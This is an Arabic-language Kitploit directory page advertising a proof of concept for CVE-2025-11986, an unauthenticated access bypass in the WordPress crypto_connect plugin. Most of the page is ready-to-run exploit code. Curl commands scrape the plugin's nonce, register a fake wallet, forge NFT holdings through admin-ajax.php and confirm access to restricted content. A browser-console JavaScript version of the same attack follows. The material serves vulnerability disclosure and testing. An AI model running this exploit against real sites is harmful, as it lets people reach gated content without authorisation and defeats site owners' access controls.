Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-11986 — إثبات مفهوم لاستغلال ثغرة CVE-2025-11986 توضح تجاوز الوصول غير المصادق عليه في إضافة WordPress crypto_connect عبر استخراج nonce وتسجيل NFT مزيف. | Kitploit
أدوات/GitHubGitHub/jfriedli/cve-2025-11986
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالمصادقة
GitHubjfriedli/cve-2025-11986

CVE-2025-11986

إثبات مفهوم لاستغلال ثغرة CVE-2025-11986 توضح تجاوز الوصول غير المصادق عليه في إضافة WordPress crypto_connect عبر استخراج nonce وتسجيل NFT مزيف.

عرض المستودع
منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

1) استخراج nonce العام crypto_ajax من الصفحة المقيدة

root@kitploit:~
UA='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0'

NONCE=$(curl -s "http://localhost/wordpress/<RESTRICTED_PAGE_URL>" -A "$UA" | \
  perl -0777 -ne 'print "$1\n" if /crypto_connectChainAjax\s*=\s*\{[^}]*"nonce"\s*:\s*"([^"]+)"/s')

# Fallback extraction method
[ -z "$NONCE" ] && NONCE=$(curl -s "http://localhost/wordpress/<RESTRICTED_PAGE_URL>" -A "$UA" | \
  perl -ne "print \"$1\n\" if /create_link_crypto_connect_login\\(\\s*'([A-Za-z0-9_-]+)'/i")

echo "Nonce: $NONCE"

2) تنفيذ عملية "تسجيل" غير مصادق عليها (بدون إثبات المحفظة)

root@kitploit:~
curl -s "http://localhost/wordpress/wp-admin/admin-ajax.php" -A "$UA" \
  --data "action=crypto_connect_ajax_process&method_name=register&id=1&nonce=${NONCE}&param1=0xDEADBEEF00000000000000000000000000000000"

3) تزوير مقتنيات NFT لفرض الوصول

root@kitploit:~
curl -s "http://localhost/wordpress/wp-admin/admin-ajax.php" -A "$UA" \
  --data "action=crypto_connect_ajax_process&method_name=savenft&id=1&nonce=${NONCE}&param1=&param2=attacker.yak&param3=1"

4) التحقق من أن المحتوى المقيد يمكن الوصول إليه

root@kitploit:~
curl -s "http://localhost/wordpress/<RESTRICTED_PAGE_URL>" -A "$UA" | \
  grep -F 'SECRET: ONLY FOR HOLDERS' && echo "[+] Access bypass confirmed"

اختياري: إثبات المفهوم عبر المتصفح (تشغيل في أدوات المطور)

root@kitploit:~
(() => {
  const n =
    (window.crypto_connectChainAjax && window.crypto_connectChainAjax.nonce) ||
    (document.documentElement.innerHTML.match(/create_link_crypto_connect_login\('([^']+)'/) || [])[1];

  if (!n) {
    console.error('nonce not found');
    return;
  }

  const post = d =>
    fetch('/wordpress/wp-admin/admin-ajax.php', {
      method: 'POST',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body: new URLSearchParams(d)
    })
      .then(r => r.text())
      .then(t => (console.log(t), t));

  (async () => {
    await post({
      action: 'crypto_connect_ajax_process',
      method_name: 'register',
      id: '1',
      nonce: n,
      param1: '0xDEADBEEF00000000000000000000000000000000'
    });

    await post({
      action: 'crypto_connect_ajax_process',
      method_name: 'savenft',
      id: '1',
      nonce: n,
      param1: '',
      param2: 'attacker.yak',
      param3: '1'
    });

    location.reload();
  })();
})();
تنزيل الأداة